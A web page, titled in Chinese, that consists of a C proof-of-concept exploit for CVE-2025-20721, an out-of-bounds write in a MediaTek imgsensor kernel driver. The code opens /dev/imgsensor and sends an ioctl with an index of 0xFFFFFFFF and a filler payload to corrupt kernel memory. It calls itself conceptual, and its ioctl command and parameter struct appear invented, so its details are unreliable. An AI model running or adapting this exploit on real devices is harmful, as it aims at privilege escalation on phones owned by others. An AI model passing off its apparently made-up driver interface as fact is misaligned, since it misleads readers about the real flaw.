CVE-2025-20721 MediaTek imgsensor越界写入权限提升漏洞

/* CVE-2025-20721 - MediaTek imgsensor Out of Bounds Write PoC * This is a conceptual proof-of-concept demonstrating the vulnerability trigger. * The actual exploit requires local System privilege access. * * Vulnerability: Missing bounds check in imgsensor driver leads to OOB write * Patch ID: ALPS10089545; Issue ID: MSV-4279 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // imgsensor ioctl command definitions (device-specific) #define IMGSENSOR_IOC_MAGIC 'I' #define IMGSENSOR_IOC_TRIGGER_OOB_WRITE _IOWR(IMGSENSOR_IOC_MAGIC, 0x100, struct imgsensor_ioctl_param) // Structure to pass parameters to the vulnerable ioctl struct imgsensor_ioctl_param { unsigned int sensor_id; unsigned int cmd; unsigned int param1; // Used as index without bounds check unsigned int param2; // Buffer length parameter void *data; // Data buffer pointer unsigned int data_size; // Size of data buffer }; int main(int argc, char *argv[]) { int fd; int ret; struct imgsensor_ioctl_param param; char payload[256]; printf("[+] CVE-2025-20721 PoC - MediaTek imgsensor OOB Write\n"); // Open the imgsensor device node fd = open("/dev/imgsensor", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/imgsensor"); printf("[*] This PoC requires System privilege and MediaTek device\n"); return -1; } printf("[+] Opened imgsensor device fd=%d\n", fd); // Prepare malicious payload memset(payload, 'A', sizeof(payload)); // Craft parameters to trigger out-of-bounds write // The vulnerability is triggered when param1 (index) exceeds expected bounds // and the driver writes to data without proper validation memset(&param, 0, sizeof(param)); param.sensor_id = 0; param.cmd = 0xDEAD; param.param1 = 0xFFFFFFFF; // Out-of-bounds index - triggers the vulnerability param.param2 = sizeof(payload); param.data = (void *)payload; param.data_size = sizeof(payload); printf("[+] Sending malicious ioctl to trigger OOB write...\n"); printf("[+] param1 (index): 0x%X\n", param.param1); printf("[+] data_size: %u\n", param.data_size); // Trigger the vulnerability ret = ioctl(fd, IMGSENSOR_IOC_TRIGGER_OOB_WRITE, &param); if (ret < 0) { perror("[-] ioctl failed"); } else { printf("[+] ioctl returned: %d\n", ret); printf("[!] Potential OOB write triggered\n"); } close(fd); return 0; }